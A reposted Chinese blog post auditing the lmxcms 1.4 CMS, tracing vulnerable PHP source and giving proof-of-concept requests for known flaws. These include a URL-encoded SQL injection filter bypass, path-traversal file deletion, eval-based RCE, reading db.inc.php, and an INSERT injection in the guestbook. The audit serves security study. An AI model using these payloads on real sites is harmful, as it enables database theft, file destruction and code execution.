收藏级干货!lmxcms1.4nday漏洞全收录,一篇搞定!

admin 2025-12-30 01:31:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细审计了lmxcms1.4系统的多个安全漏洞,包括前台SQL注入、后台RCE、任意文件删除与读写等。核心成因在于利用urldecode绕过过滤、不安全的eval执行以及参数拼接不当。建议开发者加强输入过滤、避免使用eval函数,并对文件操作路径进行严格校验。 综合评分: 88 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC


cover_image

收藏级干货!lmxcms1.4 nday漏洞全收录,一篇搞定!

原创

_sun_·empty.

迷人安全

2025年10月13日 09:03 浙江

CMS–lmxcms1.4代码审计

说在前面

首先感谢cyl_love师傅带我打awd同时给了我很大的帮助,借着他的笔记我也来审计一下此cms框架

环境搭建

框架下载地址

下载1.4版本即可,用小皮本地搭建即可

搭建好后访问/install按照步骤下载,配置,安装即可

CNVD-2019-05674-前台的SQL注入

CNVD-2019-05674

漏洞描述

梦想cms以下简称“lmxcms”,是由“10年”(网名)开发的一套简单实用的网站管理系统(cms)。

LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。

c\index\TagsAction.class.php

<?php
/**
&nbsp;* &nbsp;【梦想cms】 http://www.lmxcms.com
&nbsp;*
&nbsp;* &nbsp; Tags控制器
&nbsp;*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
&nbsp; &nbsp; private $data;
&nbsp; &nbsp; private $tagsModel = null;
&nbsp; &nbsp; public function __construct() {
&nbsp; &nbsp; &nbsp; &nbsp; parent::__construct();
&nbsp; &nbsp; &nbsp; &nbsp; $data = p(2,1,1);
&nbsp; &nbsp; &nbsp; &nbsp; $name = string::delHtml($data['name']);
&nbsp; &nbsp; &nbsp; &nbsp; if(!$name) _404();
&nbsp; &nbsp; &nbsp; &nbsp; $name = urldecode($name);
&nbsp; &nbsp; &nbsp; &nbsp; if($this->tagsModel == null) $this->tagsModel = new TagsModel();
&nbsp; &nbsp; &nbsp; &nbsp; $this->data = $this->tagsModel->getNameData($name);
&nbsp; &nbsp; &nbsp; &nbsp; if(!$this->data) _404();
&nbsp; &nbsp; }

&nbsp; &nbsp; public function index(){
&nbsp; &nbsp; &nbsp; &nbsp; $temModel = new parse($this->smarty,$this->config);
&nbsp; &nbsp; &nbsp; &nbsp; echo $temModel->tags($this->data,$this->tagsModel);
&nbsp; &nbsp; }
}
?>

$data: 用来存储标签相关的数据

调用了自定义函数p(),跟进到p函数

common.php

function p($type=1,$pe=false,$sql=false,$mysql=false){
&nbsp; &nbsp; if($type == 1){
&nbsp; &nbsp; &nbsp; &nbsp; $data = $_POST;
&nbsp; &nbsp; }else if($type == 2){
&nbsp; &nbsp; &nbsp; &nbsp; $data = $_GET;
&nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; $data = $type;
&nbsp; &nbsp; }
&nbsp; &nbsp; if($sql) filter_sql($data);
&nbsp; &nbsp; if($mysql) mysql_retain($data);
&nbsp; &nbsp; foreach($data as $k => $v){
&nbsp; &nbsp; &nbsp; &nbsp; if(is_array($v)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $newdata[$k] = p($v,$pe,$sql,$mysql);
&nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($pe){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $newdata[$k] = string::addslashes($v);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $newdata[$k] = trim($v);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; return $newdata;
}

function filter_sql(array $data){
&nbsp; &nbsp; foreach($data as $v){
&nbsp; &nbsp; &nbsp; &nbsp; if(is_array($v)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filter_sql($v);
&nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //转换小写
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $v = strtolower($v);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('【'.$v.'】数据非法');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

过滤倒是严格一些,我们从

$name = string::delHtml($data['name']);
$name = urldecode($name);

跟进其中delHtml的作用是去除html标签

其中data存在传参可控,type=2的时候为GET请求方式,根据

$this->data = $this->tagsModel->getNameData($name);

我们追踪getNameData看处理name的函数

public function getNameData($name){
&nbsp; &nbsp; &nbsp; &nbsp; $param['where'] = "name = '$name'";
&nbsp; &nbsp; &nbsp; &nbsp; return parent::oneModel($param);
&nbsp; &nbsp; }

接着追踪oneMode()

protected function oneModel($param){
&nbsp; &nbsp; &nbsp; &nbsp; return parent::oneDB($this->tab['0'],$this->field,$param);
&nbsp; &nbsp; }

追踪oneDB()

protected function oneDB($tab,Array $field,Array $param){
&nbsp; &nbsp; &nbsp; &nbsp; $field = implode(',',$field);
&nbsp; &nbsp; &nbsp; &nbsp; $force = '';
&nbsp; &nbsp; &nbsp; &nbsp; //强制进入某个索引
&nbsp; &nbsp; &nbsp; &nbsp; if($param['force']) $force = ' force index('.$param['force'].')';
&nbsp; &nbsp; &nbsp; &nbsp; if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
&nbsp; &nbsp; &nbsp; &nbsp; $We = $this->where($param);
&nbsp; &nbsp; &nbsp; &nbsp; $sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
&nbsp; &nbsp; &nbsp; &nbsp; $result=$this->query($sql);

&nbsp; &nbsp; &nbsp; &nbsp; echo $sql; &nbsp;//后面添加的方便看回显

&nbsp; &nbsp; &nbsp; &nbsp; $data = mysql_fetch_assoc($result);
&nbsp; &nbsp; &nbsp; &nbsp; return $data ? $data : array();
&nbsp; &nbsp; }

最后执行了sql语句

我们先进行测试一下

?m=tags&name=a

成功,然后思考利用,存在二次注入

因为p函数对参数进行了filter_sql函数过滤,但是urldecode是在过滤之后进行的,所以我们可以利用url编码进行绕过,从而进行攻击

a' or updatexml(0,concat(0x7e,version()),1)--+

多次编码后

%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33

CNVD-2020-59469-后台—文件删除

CNVD-2020-59469

漏洞描述

梦想CMS(lmxcms)使用php语言和mysql数据库开发,并且采用了主流的MVC设计模式。

梦想CMS后台Ba***.cl***.php文件存在任意文件删除漏洞。攻击者可利用漏洞删除服务器任意文件。
//打包
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::speed('正在打包数据,请稍等..........');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $zipname = ROOT_PATH.'file/back/'.$filename.'.zip';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; file::unLink($zipname);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; zip::toZip($setname,$zipname);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::speed('打包成功..........');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($setname as $v){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; file::unLink($v);

跟进unLink函数,发现重写了此函数

public static function unLink($path){
&nbsp; &nbsp; &nbsp; &nbsp; if($path == ROOT_PATH) return;
&nbsp; &nbsp; &nbsp; &nbsp; if(is_file($path)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

有好多处引用,此处的只能删除zip和sql的,我们继续寻找

//删除备份文件
&nbsp; &nbsp; public function delbackdb(){
&nbsp; &nbsp; &nbsp; &nbsp; $filename = trim($_GET['filename']);
&nbsp; &nbsp; &nbsp; &nbsp; if(!$filename){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('备份文件不存在');
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; $this->delOne($filename);
&nbsp; &nbsp; &nbsp; &nbsp; addlog('删除数据库备份文件');
&nbsp; &nbsp; &nbsp; &nbsp; rewrite::succ('删除成功');
&nbsp; &nbsp; }

&nbsp; &nbsp; //批量删除备份文件
&nbsp; &nbsp; public function delmorebackdb(){
&nbsp; &nbsp; &nbsp; &nbsp; $filename = $_POST['filename'];
&nbsp; &nbsp; &nbsp; &nbsp; if($filename){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($filename as $v){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this->delOne($v);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addlog('批量删除数据库备份文件');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::succ('删除成功');
&nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('请选择要删除的备份文件');
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
private function delOne($filename){
&nbsp; &nbsp; &nbsp; &nbsp; $dir = ROOT_PATH.'file/back/'.$filename;
&nbsp; &nbsp; &nbsp; &nbsp; file::unLink($dir);
&nbsp; &nbsp; }

此处$filename可控,然后他默认存放位置在file/back下,我们任意在根目录创建一个文件empty.txt

利用../../实现任意文件删除,如果要测试器默认目录可以在file/back创建

admin.php?m=backdb&a=delbackdb&filename=../../empty.txt

后台RCE漏洞

AcquisiAction.class.php

//修改采集数据
&nbsp; &nbsp; public function showCjData(){
&nbsp; &nbsp; &nbsp; &nbsp; $cjData = $this->model->getOneCjData($this->lid);
&nbsp; &nbsp; &nbsp; &nbsp; $jdData = $this->model->getOne($this->id);
&nbsp; &nbsp; &nbsp; &nbsp; $fieldData = $GLOBALS['allfield'][$jdData['mid']];
&nbsp; &nbsp; &nbsp; &nbsp; $temdata = $this->model->caijiDataOne($_GET['cid']);
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->assign('jdData',$jdData);
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->assign('cjData',$cjData);
&nbsp; &nbsp; &nbsp; &nbsp; $fieldData = tool::arrV2K($fieldData,'fname');
&nbsp; &nbsp; &nbsp; &nbsp; eval('$data = '.$temdata['data'].';');
&nbsp; &nbsp; &nbsp; &nbsp; //格式化数据

关键

$temdata = $this->model->caijiDataOne($_GET['cid']);

eval('$data = '.$temdata['data'].';');

通过 $_GET['cid'] 获取传入的 cid 参数,并将其传递给 caijiDataOne() 方法

跟进到caijiDataOne方法

public function caijiDataOne($id){
&nbsp; &nbsp; &nbsp; &nbsp; $this->cj_data_tab();
&nbsp; &nbsp; &nbsp; &nbsp; $param['where'] = 'id='.$id;
&nbsp; &nbsp; &nbsp; &nbsp; return parent::oneModel($param);
&nbsp; &nbsp; }

构造sql语句,跟进到cj_data_tab()

public function cj_data_tab(){
&nbsp; &nbsp; &nbsp; &nbsp; $this->tab = array('cj_data');
&nbsp; &nbsp; }

看到查询的表为cj_data,我们通过向其中插入语句

INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`) VALUES (3, 4, 'phpinfo()', 33, 'a', 5);

/admin.php?m=Acquisi&a=showCjData&id=1&lid=4&cid=3

后台SQL注入漏洞

c\admin\BookAction.class.php

//回复留言
&nbsp; &nbsp; public function reply(){
&nbsp; &nbsp; &nbsp; &nbsp; $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
&nbsp; &nbsp; &nbsp; &nbsp; //获取回复数据
&nbsp; &nbsp; &nbsp; &nbsp; $reply = $this->bookModel->getReply(array($id));

id参数可控,进入到getReply方法

//根据留言id获取全部回复
&nbsp; &nbsp; public function getReply(array $id){
&nbsp; &nbsp; &nbsp; &nbsp; $id = implode(',',$id);
&nbsp; &nbsp; &nbsp; &nbsp; $param['where'] = 'uid in('.$id.')';
&nbsp; &nbsp; &nbsp; &nbsp; return parent::selectModel($param);
&nbsp; &nbsp; }

一直跟进到selectDB

//查询
&nbsp; &nbsp; protected function selectDB($tab,Array $field,$param=array()){
&nbsp; &nbsp; &nbsp; &nbsp; $arr = array();
&nbsp; &nbsp; &nbsp; &nbsp; $field = implode(',',$field);
&nbsp; &nbsp; &nbsp; &nbsp; $force = '';
&nbsp; &nbsp; &nbsp; &nbsp; //强制进入某个索引
&nbsp; &nbsp; &nbsp; &nbsp; if($param['force']) $force = ' force index('.$param['force'].')';
&nbsp; &nbsp; &nbsp; &nbsp; if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
&nbsp; &nbsp; &nbsp; &nbsp; $sqlStr = $this->where($param);
&nbsp; &nbsp; &nbsp; &nbsp; $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
&nbsp; &nbsp; &nbsp; &nbsp; $result=$this->query($sql);
&nbsp; &nbsp; &nbsp; &nbsp; while(!!$a=mysql_fetch_assoc($result)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $arr[]=$a;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; $this->result($result);
&nbsp; &nbsp; &nbsp; &nbsp; return $arr;
&nbsp; &nbsp; }

可以看到此处传入的id就拼接位sql语句执行了

可以后面加上一句echo $sql看回显

/admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+

后台任意文件读取&写入

全局搜索file_get_contents

public static function put($path,$data){
&nbsp; &nbsp; &nbsp; &nbsp; if(file_put_contents($path,$data) === false)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('请检查【'.$path.'】是否有读写权限');
&nbsp; &nbsp; }

&nbsp; &nbsp; //获取文件内容
&nbsp; &nbsp; public static function getcon($path){
&nbsp; &nbsp; &nbsp; &nbsp; if(is_file($path)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(!$content = file_get_contents($path)){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('请检查【'.$path.'】是否有读取权限');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return $content;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }else{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('请检查【'.$path.'】文件是否存在');
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

查看getcon函数调用

$pathinfo = pathinfo($dir);
&nbsp; &nbsp; &nbsp; &nbsp; //获取文件内容
&nbsp; &nbsp; &nbsp; &nbsp; $content = string::html_char(file::getcon($this->config['template'].$dir));
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->assign('filename',$pathinfo['basename']);
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->assign('temcontent',$content);
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->assign('dir',dirname($_GET['dir']));
&nbsp; &nbsp; &nbsp; &nbsp; $this->smarty->display('Template/temedit.html');

看到我们对dir参数是可控的,在当前editfile目录访问读取

/admin.php?m=Template&a=editfile&dir=../inc//db.inc.php

后台文件上传漏洞

c/admin/TemplateAction.class.php

//保存文件
&nbsp; &nbsp; public static function put($path,$data){
&nbsp; &nbsp; &nbsp; &nbsp; if(file_put_contents($path,$data) === false)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('请检查【'.$path.'】是否有读写权限');
&nbsp; &nbsp; }

看看谁调用到了此方法

//编辑和查看文件与图像
&nbsp; &nbsp; public function editfile(){
&nbsp; &nbsp; &nbsp; &nbsp; $dir = $_GET['dir'];
&nbsp; &nbsp; &nbsp; &nbsp; //保存修改
&nbsp; &nbsp; &nbsp; &nbsp; if(isset($_POST['settemcontent'])){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($this->config['template_edit']){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::js_back('系统设置禁止修改模板文件');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addlog('修改模板文件'.$this->config['template'].$dir);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit();
&nbsp; &nbsp; &nbsp; &nbsp; }

其中file:put就是调用了put方法,接收两个参数,POST接收filename和data

我和cyl_love师傅都没测出来,可能是cms1.41才可以

前台留言SQL注入

审计BookAction.calss.php

public function check(){
&nbsp; &nbsp; &nbsp; &nbsp; $this->bookModel->ischeck();
&nbsp; &nbsp; &nbsp; &nbsp; addlog('审核留言【id:'.$_GET['id'].'】');
&nbsp; &nbsp; &nbsp; &nbsp; rewrite::succ();
&nbsp; &nbsp; }

跟进ischeck方法

//审核和取消审核
&nbsp; &nbsp; public function ischeck(){
&nbsp; &nbsp; &nbsp; &nbsp; $data['ischeck'] = $_GET['check'] ? 1 : 0;
&nbsp; &nbsp; &nbsp; &nbsp; $param['where'] = 'id='.(int)$_GET['id'];
&nbsp; &nbsp; &nbsp; &nbsp; parent::updateModel($data,$param);
&nbsp; &nbsp; }

这个是判断是否显示在前台的,如果我们要进行前台注入,那么就需要将其值修改为1就可以回显在前端了

//前台增加留言
&nbsp; &nbsp; public function add($data){
&nbsp; &nbsp; &nbsp; &nbsp; $data['time'] = time();
&nbsp; &nbsp; &nbsp; &nbsp; return parent::addModel($data);
&nbsp; &nbsp; }

跟进addModel

//增加数据并返回id
&nbsp; &nbsp; protected function addModel($data){
&nbsp; &nbsp; &nbsp; &nbsp;return parent::addDB($this->tab[0],$data);
&nbsp; &nbsp; }

跟进addDB

protected function addDB($tab,$data){
&nbsp; &nbsp; &nbsp; &nbsp; foreach($data as $key=>$v){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$field[]=$key;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$value[]="'$v'";
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; $field = implode(',',$field);
&nbsp; &nbsp; &nbsp; &nbsp; $value = implode(",",$value);
&nbsp; &nbsp; &nbsp; &nbsp; $sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
&nbsp; &nbsp; &nbsp; &nbsp; $this->query($sql);
&nbsp; &nbsp; &nbsp; &nbsp; return mysql_insert_id();
&nbsp; &nbsp; }

但是只能是管理员后台才能看到

http://127.0.0.1:8088/index.php?m=Book&a=setBook

setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:迷人安全 sun·empty.《收藏级干货!lmxcms1.4 nday漏洞全收录,一篇搞定!》

关于vm逆向的知识 网络安全文章

关于vm逆向的知识

文章总结: 本文分享了虚拟机逆向工程的知识体系,通过高清图示展示VM逆向的核心思路与关键步骤。内容涵盖虚拟机保护机制的架构分析与调试技巧,为逆向分析人员提供对抗
赢在流程华为高效管理之道 网络安全文章

赢在流程华为高效管理之道

文章总结: 文档阐述华为高效管理之道,核心是构建不依赖个人的流程化组织,将能力沉淀于体系。企业应随发展阶段动态调整能量配比,成熟期侧重管理流程,并在业务巅峰时主
评论:0   参与:  0